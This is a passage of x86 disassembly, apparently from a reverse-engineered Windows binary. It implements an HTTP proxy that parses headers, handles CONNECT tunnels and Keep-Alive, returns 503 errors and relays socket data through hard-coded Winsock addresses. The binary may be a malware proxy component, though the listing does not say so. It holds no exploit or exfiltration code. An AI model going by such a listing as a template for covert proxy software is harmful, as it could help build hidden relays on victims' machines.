		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+27Ch]
		push	1
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+1A4h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 8
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 9
		call	sub_4017EE
		test	eax, eax
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+54A0h], 8
		setz	bl
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_42A5EF
		push	offset asc_444600 ; " "
		lea	edx, [esp+264h]
		push	1
		push	edx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+1D4h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 0Ah
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 0Bh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+1D0h]
		mov	[esp+10Ch], eax
		mov	byte ptr [esp+54A0h], 0Ah
		call	sub_401226
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		mov	eax, [esp+10Ch]
		test	eax, eax
		jnz	short loc_42995A
		mov	dword ptr [esp+10Ch], 50h


loc_42995A:				; CODE XREF: ___:00429760j
					; ___:004297ACj ...
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	0
		push	edx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset byte_448F30
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+54A4h], 0Ch
		call	sub_4012EE
		test	eax, eax
		jz	loc_42A5DE
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h]
		push	2
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset byte_448F30
		lea	ecx, [esp+64h]
		mov	byte ptr [esp+54A4h], 0Dh
		call	sub_4012EE
		test	eax, eax
		jz	loc_42A5CD
		lea	ecx, [esp+0CDh]
		push	ecx
		lea	ecx, [esp+8Ch]
		call	sub_4014D3
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+498h]
		or	ebx, 0FFFFFFFFh
		rep stosd
		mov	edi, offset aHttprox ; "HTTPROX"
		mov	ecx, ebx
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+4498h]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	byte ptr [esp+54A0h], 0Eh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		lea	eax, [esp+4498h]
		and	ecx, 3
		rep movsb
		mov	esi, offset asc_4471EC ; "\r\n"


loc_429A21:				; CODE XREF: ___:00429A3Fj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429A45
		test	cl, cl
		jz	short loc_429A41
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429A45
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429A21


loc_429A41:				; CODE XREF: ___:00429A2Bj
		xor	eax, eax
		jmp	short loc_429A49
; ---------------------------------------------------------------------------


loc_429A45:				; CODE XREF: ___:00429A27j
					; ___:00429A35j
		sbb	eax, eax
		sbb	eax, ebx


loc_429A49:				; CODE XREF: ___:00429A43j
		test	eax, eax
		jz	loc_429B23
		mov	edi, dword_511AD8


loc_429A57:				; CODE XREF: ___:00429B1Dj
		mov	esi, offset byte_448F30
		lea	eax, [esp+4498h]


loc_429A63:				; CODE XREF: ___:00429A81j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429A87
		test	cl, cl
		jz	short loc_429A83
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429A87
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429A63


loc_429A83:				; CODE XREF: ___:00429A6Dj
		xor	eax, eax
		jmp	short loc_429A8B
; ---------------------------------------------------------------------------


loc_429A87:				; CODE XREF: ___:00429A69j
					; ___:00429A77j
		sbb	eax, eax
		sbb	eax, ebx


loc_429A8B:				; CODE XREF: ___:00429A85j
		test	eax, eax
		jz	loc_429B23
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+449Ch]
		push	1000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A629
		lea	edx, [esp+4498h]
		push	4000h
		lea	eax, [esp+49Ch]
		push	edx
		push	eax
		call	edi
		push	4000h
		lea	ecx, [esp+4A8h]
		push	offset asc_4471EC ; "\r\n"
		push	ecx
		call	edi
		add	esp, 18h
		mov	esi, offset asc_4471EC ; "\r\n"
		lea	eax, [esp+4498h]


loc_429AF3:				; CODE XREF: ___:00429B11j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429B17
		test	cl, cl
		jz	short loc_429B13
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429B17
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429AF3


loc_429B13:				; CODE XREF: ___:00429AFDj
		xor	eax, eax
		jmp	short loc_429B1B
; ---------------------------------------------------------------------------


loc_429B17:				; CODE XREF: ___:00429AF9j
					; ___:00429B07j
		sbb	eax, eax
		sbb	eax, ebx


loc_429B1B:				; CODE XREF: ___:00429B15j
		test	eax, eax
		jnz	loc_429A57


loc_429B23:				; CODE XREF: ___:00429A4Bj
					; ___:00429A8Dj
		mov	esi, dword_511B04
		lea	eax, [esp+498h]
		push	offset aProxyConnectio ; "Proxy-Connection:"
		push	eax
		call	esi
		add	esp, 8
		test	eax, eax
		jz	short loc_429B77
		push	offset asc_444C6C ; ":"
		push	eax
		call	esi
		add	esp, 8
		inc	eax
		jz	short loc_429B77
		cmp	byte ptr [eax],	20h
		jnz	short loc_429B5B


loc_429B52:				; CODE XREF: ___:00429B59j
		mov	cl, [eax+1]
		inc	eax
		cmp	cl, 20h
		jz	short loc_429B52


loc_429B5B:				; CODE XREF: ___:00429B50j
		push	offset aKeepAlive ; "Keep-Alive"
		push	eax
		call	near ptr 77C4624Eh
		nop
		add	esp, 8
		test	eax, eax
		jz	short loc_429B77
		mov	byte ptr [ebp+0BAh], 1
		jmp	short loc_429B7E
; ---------------------------------------------------------------------------


loc_429B77:				; CODE XREF: ___:00429B3Dj
					; ___:00429B4Bj ...
		mov	byte ptr [ebp+0BAh], 0


loc_429B7E:				; CODE XREF: ___:00429B75j
		cmp	[ebp+0BFh], ebx
		jnz	loc_429C16
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, ebx
		mov	[ebp+0BFh], eax
		jz	loc_42A6FD
		mov	edx, [esp+10Ch]
		xor	ecx, ecx
		mov	[esp+78h], ecx
		push	edx
		mov	[esp+80h], ecx
		mov	word ptr [esp+7Ch], 2
		mov	[esp+84h], ecx
		mov	[esp+88h], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+0CDh]
		mov	[esp+7Ah], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		cmp	eax, ebx
		mov	[esp+7Ch], eax
		jz	loc_42A63B
		mov	ecx, [ebp+0BFh]
		lea	eax, [esp+78h]
		push	10h
		push	eax
		push	ecx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, ebx
		jz	loc_42A698


loc_429C16:				; CODE XREF: ___:00429B84j
		mov	al, [esp+13h]
		test	al, al
		jz	loc_42A2BE
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_429C61
		lea	edx, [esp+498h]
		lea	ecx, [esp+60h]
		push	edx
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		lea	eax, [esp+24h]
		push	offset aSSSConnectionK ; "%s %s	%s\r\nConnection: Keep-Alive\r\n%s"
		push	eax
		jmp	short loc_429C94
; ---------------------------------------------------------------------------


loc_429C61:				; CODE XREF: ___:00429C2Aj
		lea	ecx, [esp+498h]
		push	ecx
		lea	ecx, [esp+64h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		lea	edx, [esp+24h]
		push	offset aSSSConnectionC ; "%s %s	%s\r\nConnection: close\r\n%s"
		push	edx


loc_429C94:				; CODE XREF: ___:00429C5Fj
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		push	eax
		mov	eax, [ebp+0BFh]
		push	eax
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_42A6E2
		cmp	eax, ebx
		jz	loc_42A6E2
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+49Ch]
		push	4000h
		push	ecx
		push	edx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A70F
		mov	edi, offset asc_4471EC ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+49Ch]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		xor	ebx, ebx
		mov	esi, offset asc_4471EC ; "\r\n"
		mov	[esp+2Ch], ebx
		lea	eax, [esp+498h]


loc_429D5E:				; CODE XREF: ___:00429D7Cj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429D82
		test	cl, cl
		jz	short loc_429D7E
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429D82
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429D5E


loc_429D7E:				; CODE XREF: ___:00429D68j
		xor	eax, eax
		jmp	short loc_429D87
; ---------------------------------------------------------------------------


loc_429D82:				; CODE XREF: ___:00429D64j
					; ___:00429D72j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_429D87:				; CODE XREF: ___:00429D80j
		test	eax, eax
		jz	loc_42A109


loc_429D8F:				; CODE XREF: ___:0042A0F8j
		mov	esi, offset byte_448F30
		lea	eax, [esp+498h]


loc_429D9B:				; CODE XREF: ___:00429DBDj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429DC3
		test	cl, cl
		jz	short loc_429DBF
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429DC3
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429D9B


loc_429DBF:				; CODE XREF: ___:00429DA7j
		xor	eax, eax
		jmp	short loc_429DC8
; ---------------------------------------------------------------------------


loc_429DC3:				; CODE XREF: ___:00429DA3j
					; ___:00429DB3j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_429DC8:				; CODE XREF: ___:00429DC1j
		test	eax, eax
		jz	loc_42A105
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+49Ch]
		push	4000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A100
		lea	edx, [esp+498h]
		lea	ecx, [esp+0A0h]
		push	edx
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	eax, [esp+204h]
		push	0
		push	eax
		lea	ecx, [esp+0ACh]
		mov	byte ptr [esp+54ACh], 0Fh
		call	sub_4016B8
		push	offset aContentLength ;	"Content-Length:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 10h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429EAA
		push	offset asc_444600 ; " "
		lea	ecx, [esp+144h]
		push	1
		push	ecx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 11h
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+140h]
		mov	[esp+2Ch], eax
		mov	byte ptr [esp+54A0h], 0Fh
		call	sub_401226


loc_429EAA:				; CODE XREF: ___:00429E5Cj
		push	offset asc_444600 ; " "
		lea	edx, [esp+15Ch]
		push	0
		push	edx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aTransferEncodi ; "Transfer-Encoding:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 12h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429F39
		push	offset asc_444600 ; " "
		lea	eax, [esp+18Ch]
		push	1
		push	eax
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aChunked	; "chunked"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 13h
		call	sub_40150A
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+54A0h], 0Fh
		call	sub_401226


loc_429F39:				; CODE XREF: ___:00429EF4j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+1BCh]
		push	0
		push	ecx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aConnection ; "Connection:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 14h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429FD4
		push	offset asc_444600 ; " "
		lea	edx, [esp+1ECh]
		push	1
		push	edx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aKeepAlive ; "Keep-Alive"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 15h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+1E8h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		setnz	byte ptr [esp+11h]


loc_429FD4:				; CODE XREF: ___:00429F83j
		mov	esi, offset asc_4471EC ; "\r\n"
		lea	eax, [esp+498h]


loc_429FE0:				; CODE XREF: ___:0042A002j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A008
		test	cl, cl
		jz	short loc_42A004
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A008
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429FE0


loc_42A004:				; CODE XREF: ___:00429FECj
		xor	eax, eax
		jmp	short loc_42A00D
; ---------------------------------------------------------------------------


loc_42A008:				; CODE XREF: ___:00429FE8j
					; ___:00429FF8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A00D:				; CODE XREF: ___:0042A006j
		test	eax, eax
		jz	loc_42A0A9
		mov	esi, offset byte_448F30
		lea	eax, [esp+498h]


loc_42A021:				; CODE XREF: ___:0042A043j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A049
		test	cl, cl
		jz	short loc_42A045
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A049
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42A021


loc_42A045:				; CODE XREF: ___:0042A02Dj
		xor	eax, eax
		jmp	short loc_42A04E
; ---------------------------------------------------------------------------


loc_42A049:				; CODE XREF: ___:0042A029j
					; ___:0042A039j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A04E:				; CODE XREF: ___:0042A047j
		test	eax, eax
		jz	short loc_42A0A9
		mov	edi, offset asc_4471EC ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+49Ch]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		call	near ptr 71AB428Ah
		nop


loc_42A0A9:				; CODE XREF: ___:0042A00Fj
					; ___:0042A050j
		lea	ecx, [esp+0A0h]
		mov	byte ptr [esp+54A0h], 0Eh
		call	sub_401226
		mov	esi, offset asc_4471EC ; "\r\n"
		lea	eax, [esp+498h]


loc_42A0C9:				; CODE XREF: ___:0042A0EBj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A0F1
		test	cl, cl
		jz	short loc_42A0ED
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A0F1
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42A0C9


loc_42A0ED:				; CODE XREF: ___:0042A0D5j
		xor	eax, eax
		jmp	short loc_42A0F6
; ---------------------------------------------------------------------------


loc_42A0F1:				; CODE XREF: ___:0042A0D1j
					; ___:0042A0E1j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A0F6:				; CODE XREF: ___:0042A0EFj
		test	eax, eax
		jnz	loc_429D8F
		jmp	short loc_42A105
; ---------------------------------------------------------------------------


loc_42A100:				; CODE XREF: ___:00429DF0j
		mov	byte ptr [esp+12h], 1


loc_42A105:				; CODE XREF: ___:00429DCAj
					; ___:0042A0FEj
		mov	ebx, [esp+2Ch]


loc_42A109:				; CODE XREF: ___:00429D89j
		mov	al, [esp+11h]
		push	0
		test	al, al
		jz	short loc_42A131
		mov	edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [ebp+0BBh]
		not	ecx
		dec	ecx
		push	ecx
		push	offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		push	eax
		jmp	short loc_42A14D
; ---------------------------------------------------------------------------


loc_42A131:				; CODE XREF: ___:0042A111j
		mov	edi, offset aConnectionClos ; "Connection: Close\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	offset aConnectionClos ; "Connection: Close\r\n"
		push	ecx


loc_42A14D:				; CODE XREF: ___:0042A12Fj
		nop
		call	near ptr 71AB428Ah
		mov	edi, offset asc_4471EC ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	edx, [ebp+0BBh]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		lea	ecx, [esp+4A0h]
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		test	ebx, ebx
		jz	loc_42A27C
		xor	edi, edi
		test	ebx, ebx
		jle	short loc_42A204


loc_42A1B3:				; CODE XREF: ___:0042A202j
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, 4000h
		jbe	short loc_42A204
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+49Ch]
		push	4000h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_42A204
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42A204
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+49Ch]
		push	esi
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		cmp	edi, ebx
		jl	short loc_42A1B3


loc_42A204:				; CODE XREF: ___:0042A1B1j
					; ___:0042A1BCj ...
		mov	eax, ebx
		sub	eax, edi
		jz	short loc_42A24E


loc_42A20A:				; CODE XREF: ___:0042A24Cj
		push	0
		push	eax
		mov	eax, [ebp+0BFh]
		lea	edx, [esp+4A0h]
		push	edx
		push	eax
		call	near ptr 71AB615Ah
		nop
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_42A24E
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42A24E
		mov	edx, [ebp+0BBh]
		push	0
		lea	ecx, [esp+49Ch]
		push	esi
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		mov	eax, ebx
		sub	eax, edi
		jnz	short loc_42A20A


loc_42A24E:				; CODE XREF: ___:0042A208j
					; ___:0042A227j ...
		mov	al, [ebp+0BAh]
		test	al, al
		jnz	loc_42A4DF
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		or	esi, 0FFFFFFFFh
		mov	byte ptr [esp+12h], 1
		mov	[ebp+0BBh], esi
		jmp	loc_42A4E2
; ---------------------------------------------------------------------------


loc_42A27C:				; CODE XREF: ___:0042A1A7j
		mov	esi, dword_511CA4


loc_42A282:				; CODE XREF: ___:0042A2BCj
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+49Ch]
		push	4000h
		push	eax
		push	ecx
		call	esi
		cmp	eax, 1
		jl	short loc_42A24E
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A24E
		push	0
		push	eax
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+4A0h]
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		jmp	short loc_42A282
; ---------------------------------------------------------------------------


loc_42A2BE:				; CODE XREF: ___:00429C1Cj
		lea	ecx, [esp+14h]
		push	offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		call	near ptr 71AB428Ah
		nop
		test	eax, eax
		jz	loc_42A782
		cmp	eax, ebx
		jz	loc_42A782
		mov	ebx, dword_511CA4
		mov	eax, [ebp+0BBh]
		mov	edx, [ebp+0BFh]
		mov	[esp+294h], eax
		mov	dword ptr [esp+290h], 1
		xor	eax, eax
		lea	ecx, [esp+294h]


loc_42A330:				; CODE XREF: ___:0042A33Bj
		cmp	[ecx], edx
		jz	short loc_42A33D
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A330


loc_42A33D:				; CODE XREF: ___:0042A332j
		cmp	eax, 1
		jnz	short loc_42A354
		mov	[esp+298h], edx
		mov	dword ptr [esp+290h], 2


loc_42A354:				; CODE XREF: ___:0042A340j
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+498h]
		push	eax
		rep stosd
		push	eax
		lea	ecx, [esp+298h]
		push	eax
		push	ecx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+290h]
		push	edx
		push	eax
		call	sub_438256
; ---------------------------------------------------------------------------
		dw 0C085h
		dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
		dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
		dd 0A024848Dh, 50000004h, 0C3E89051h, 8371689Eh, 840FFFF8h
		dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
		dd 0DE72h, 4274C085h, 0BF958Bh,	6A0000h, 9C248C8Dh, 68000004h
		dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
		dd 6A000000h, 848D5000h, 4A024h, 0E8515000h, 71689E6Ah
		dd 0FFF88390h, 0FE24840Fh, 3D8BFFFFh, 5118D8h, 0D7FF056Ah
		dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
		dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 0F07EE890h, 333D7168h
		dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
		dd 1CA03D8Bh, 6A0051h, 9C248C8Dh, 56000004h, 0D7FF5251h
		dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
		dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 0F02AE890h, 333D7168h
		dd 75000027h, 0E8016A0Dh, 2415D4Fh, 0FE43E990h,	858BFFFFh
		dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_42A4DF:				; CODE XREF: ___:0042A256j
		or	esi, 0FFFFFFFFh


loc_42A4E2:				; CODE XREF: ___:0042A277j
		mov	al, [esp+11h]
		test	al, al
		jnz	short loc_42A502
		mov	edx, [ebp+0BFh]
		push	edx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+12h], 1


loc_42A502:				; CODE XREF: ___:0042A4E8j
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		or	esi, 0FFFFFFFFh


loc_42A570:				; CODE XREF: ___:0042969Bj
		mov	al, [esp+12h]
		test	al, al
		jz	loc_4295E8


loc_42A57C:				; CODE XREF: ___:0042A624j
					; ___:0042A77Dj
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_42A599
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BBh], esi


loc_42A599:				; CODE XREF: ___:0042A584j
		mov	al, [esp+11h]
		test	al, al
		jz	short loc_42A5B4
		mov	ecx, [ebp+0BFh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi


loc_42A5B4:				; CODE XREF: ___:0042A59Fj
					; ___:0042A805j
		mov	ecx, [esp+5498h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 5494h
		retn
; ---------------------------------------------------------------------------


loc_42A5CD:				; CODE XREF: ___:004299BAj
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226


loc_42A5DE:				; CODE XREF: ___:00429987j
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226


loc_42A5EF:				; CODE XREF: ___:00429741j
					; ___:0042975Aj ...
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226


loc_42A600:				; CODE XREF: ___:00429635j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		jmp	loc_42A57C
; ---------------------------------------------------------------------------


loc_42A629:				; CODE XREF: ___:00429AB3j
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		jmp	loc_42A79A
; ---------------------------------------------------------------------------


loc_42A63B:				; CODE XREF: ___:00429BF4j
		lea	ecx, [esp+0CDh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+18h]
		push	offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	eax, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	eax
		call	esi
		mov	ecx, [ebp+0BFh]
		push	ecx
		jmp	loc_42A798
; ---------------------------------------------------------------------------


loc_42A698:				; CODE XREF: ___:00429C10j
		mov	edx, [esp+10Ch]
		lea	ecx, [esp+0CDh]
		push	edx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+1Ch]
		push	offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	eax
		call	sub_40102D
		add	esp, 10h
